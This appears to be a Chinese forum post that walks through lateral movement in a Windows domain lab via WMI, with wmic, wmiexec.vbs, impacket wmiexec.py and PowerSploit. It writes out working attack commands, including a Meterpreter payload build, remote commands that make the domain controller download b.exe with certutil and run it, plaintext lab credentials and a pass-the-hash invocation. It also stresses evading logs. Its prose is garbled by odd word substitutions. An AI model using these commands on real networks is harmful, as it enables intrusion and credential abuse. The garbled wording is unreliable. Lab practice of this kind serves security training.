域渗出之使用WMI来横向渗出

瑞星  金牌会员 | 2024-6-23 23:34:38 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 861|帖子 861|积分 2583

目次

前言

上一篇打红日靶场拿域控是用ms17-010漏洞实行命令的方式,最后提到了wmi使用的方式。接下来我将继续采用之前的红日靶场环境,只保留web服务器和域控,使用wmiexec实验拿下域控制器。
wmi介绍

WMI(Windows Management Instrumentation)Windows管理规范,它提供了一种标准化的方式,管理当地或远程盘算机体系。
使用WMI横向渗出的优势:WMI的代价就是不需要下载和安装,因为WMI是Windows体系自带的功能,而且整个运行过程都在盘算机内存中举行,操作记载不会在Winodws日志中留存。
WMIC命令:WMIC(Windows Management Instrumentation Command-line)是Windows自带的一款用来管理操作WMI的工具。WMI服务默认使用RPC机制来举行通信,需要目标主机开放135端口(WMIC默认的管理端口)和445端口。WMIC命令需要当地管理员或域管理员才可以举行正常使用。
通过wmic远程连接去实行命令,命令实行效果将不会回显,而使用wmiexec可以得到一个有交互的命令实行。
wmiexec和psexec的区别

说到wmiexec就不得不提psexec,PsExec它是一种轻量级的telnet替代品,可以在其他体系上实行进程,完成控制台应用步伐的完全交互,而无需手动安装客户端软件。
psexec的基本原理是:先建立IPC$通道连接,远程创建psexecsvc服务,然后通过psexec服务运行命令,服务端启动相应的步伐并实行回显数据,运行结束后删除服务。
有psexec为啥出现了wmiexec?
psexec缺点就是在启动psexec建立连接后,远程体系上会被安装一个psexecsvc服务,安装服务会留下日志。而wmi可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。有大佬使用脚本调用wmi来模拟psexec的功能,于是wmiexec就诞生了。
wmic命令实行

首先是最基本的wmic实行命令的方式实现远程控制,实现方式是向靶机上传一个木马,然后连接获得shell。
目前靶场环境:
kali的msf可以通过Win7跳板机访问到域控,但是域控不出网没路由无法反弹shell到msf
msf+proxychains搭建socks5隧道可将流量代理到内网
mimikatz抓取到了域控用户和明文密码:god\liukaifeng01/hongriSEC@2019
所以需要获取一个正向的msf连接,天生一个正向tcp连接的payload文件:
  1. msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe -o b.exe
复制代码

将msf木马上传win7的网站目次:

通过Win7的cmd使用wmic远程连接域控主机,实行下载并实行msf木马命令:
  1. wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongriSEC@2019 process call create "cmd.exe /c certutil.exe -urlcache -f -split http://192.168.52.143/b.exe&&b.exe"
复制代码

命令实行乐成之后,域控192.168.52.138会开启5555端口监听,然后在msf上个运行blin_tcp模块来获取shell:
  1. use exploit/multi/handler
  2. set payload windows/x64/meterpreter/bind_tcp
  3. set rhost 192.168.52.138
  4. set lport 5555
  5. run
复制代码

拿到域控meterpreter shell后实验getsystem提权:

wmiexec.vbs

wmiexec.vbs脚本通过vbs调用wmi来模拟psexec的功能,支持两种模式,一种是半交互式shell模式,另一种是实行单条命令模式。
脚当地点:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
上传vmiexec.vbs到Win7机器上,然后使用cscript.exe实行脚本拿到半交互式的shell:
  1. cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 liukaifeng01 hongriSEC@2019
复制代码

还有直接实行单条命令,上传C2木马,和前面wmic命令实行套路雷同:
  1. cscript.exe wmiexec.vbs /cmd 192.168.52.138 liukaifeng01 hongriSEC@2019 "certutil.exe -urlcache -f -split http://192.168.52.143/b.exe&&b.exe"
复制代码

实行乐成后拿到shell,其实本质也就是实行wmic命令。
wmiexec.py

impacket工具包的wmiexec.py脚本通过wmi实现了半交互式的shell。它是通过135端口建立DCOM连接获取win32_Process对象,通过win32_Process的create方法创建步伐实行命令,然后通过445端口建立smb连接访问admin$共享下的效果文件,完成效果回显。
脚当地点:https://github.com/fortra/impacket/blob/master/examples/wmiexec.py
上传vmiexec.py到Win7主机上,使用用户密码连接拿shell:
  1. python wmiexec.py liukaifeng01:hongriSEC@2019@192.168.52.138
复制代码

Win7主机上没有python包,实验在kali上实行通过socks隧道代理进内网,代理nmap扫描域控135和445端口开放:

proxychains4代理进内网获取shell:
  1. proxychains4 python wmiexec.py liukaifeng01:hongriSEC@2019@192.168.52.138
复制代码

或者是PTH攻击:
  1. python wmiexec.py -hashes LM-Hash:NTLM-Hash Administrator@192.168.52.143 "whoami"
复制代码
Invoke-WmiCommand.ps1

PowerSploit工具包Invoke-WmiCommand.ps1脚本是使用Powershell来调用wmi来远程实行命令,并且可以回显实行效果。
脚当地点:https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-WmiCommand.ps1
照旧先将脚本上传至Win7跳板机,从cmd切换到powershell然后导入Invoke-WmiCommand.ps1脚本:
  1. Import-Module .\Invoke-WmiCommand.ps1
复制代码
假如遇到无法导入模块以管理员身份打开PowerShell实行:set-executionpolicy remotesigned
指定目标体系用户名和密码:
  1. $User="god\liukaifeng01"
  2. $Password=ConvertTo-SecureString -String "hongriSEC@2019" -AsPlainText -Force
复制代码
导入Credential:
  1. $Cred=New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password
复制代码
指定要实行的命令和目标ip:
  1. $Remote=Invoke-WmiCommand -Payload {whoami} -Credential $Cred -ComputerName 192.168.152.138
复制代码
将实行效果输出到屏幕上:
  1. $Remote.PayloadOutput
复制代码
遗憾的是脚本报错:

在当地一台Win10虚拟机测试ps正常实行,但在靶场上Win7脚本报错注册表的问题,目前没解决。还有一个是PowerShell自带的一个模块Invoke-WMIMethod,缺点是不能回显。
  1. $User="god\liukaifeng01"
  2. $Password=ConvertTo-SecureString -String "hongriSEC@2019" -AsPlainText -Force$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$PasswordInvoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.152.138" -Credential $Cred
复制代码

这次又报错RPC服务不可用。。。端口状态正常,之后再试试吧。
以上就是我从网上了解的几种wmi在横向渗出中的用法,使用红日靶场复现了一下,遇到了一些困难,但照旧有所劳绩。
若有错误,接待指正!o( ̄▽ ̄)ブ

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

瑞星

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表